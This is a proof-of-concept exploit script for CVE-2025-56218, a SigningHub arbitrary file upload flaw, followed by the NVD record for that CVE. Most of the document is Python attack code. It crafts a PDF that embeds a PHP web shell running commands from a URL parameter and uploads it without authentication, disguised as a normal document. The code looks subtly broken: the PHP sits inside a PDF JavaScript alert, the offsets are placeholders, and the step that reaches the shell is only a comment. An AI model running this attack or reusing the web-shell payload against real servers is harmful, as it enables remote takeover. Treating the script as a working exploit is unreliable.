CVE-2025-56218

# CVE-2025-56218 PoC - SigningHub Arbitrary File Upload to RCE # Exploit: Upload crafted PDF file to achieve Remote Code Execution import requests TARGET_URL = "https://target-signinghub.com" UPLOAD_ENDPOINT = "/api/upload" # Adjust based on actual endpoint # Step 1: Create a malicious PDF file with embedded PHP webshell def create_malicious_pdf(): """Create a crafted PDF file with embedded PHP code""" pdf_content = b"""%PDF-1.4 1 0 obj << /Type /Catalog /Pages 2 0 R /OpenAction 3 0 R >> endobj 2 0 obj << /Type /Pages /Kids [4 0 R] /Count 1 >> endobj 3 0 obj << /Type /Action /S /JavaScript /JS ( var php_code = '<?php system($_GET["cmd"]); ?>'; app.alert(php_code); ) >> endobj 4 0 obj << /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] >> endobj xref 0 5 0000000000 65535 f 0000000009 00000 n 0000000058 00000 n 0000000115 00000 n 0000000230 00000 n trailer << /Size 5 /Root 1 0 R >> startxref 300 %%EOF""" return pdf_content # Step 2: Upload the malicious PDF file def exploit(): pdf_payload = create_malicious_pdf() # Disguise as legitimate PDF upload files = { 'file': ('document.pdf', pdf_payload, 'application/pdf') } headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' } # Attempt upload without authentication response = requests.post( f"{TARGET_URL}{UPLOAD_ENDPOINT}", files=files, headers=headers ) if response.status_code == 200: print(f"[+] Upload successful!") print(f"[+] Response: {response.text}") # Try to access uploaded file # The file may be accessible at the returned path else: print(f"[-] Upload failed with status: {response.status_code}") if __name__ == "__main__": exploit()

{"cve": {"id": "CVE-2025-56218", "sourceIdentifier": "[email protected]", "published": "2025-10-17T19:15:37.490", "lastModified": "2025-10-27T14:28:09.213", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An arbitrary file upload vulnerability in SigningHub v8.6.8 allows attackers to execute arbitrary code via uploading a crafted PDF file."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-434"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ascertia:signinghub:*:*:*:*:*:*:*:*", "versionEndIncluding": "8.6.8", "matchCriteriaId": "04320C9C-96AC-4A4A-8EEA-27C59A9EDBE7"}]}]}], "references": [{"url": "http://ascertia.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "http://signinghub.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/saykino/CVE-2025-56218", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}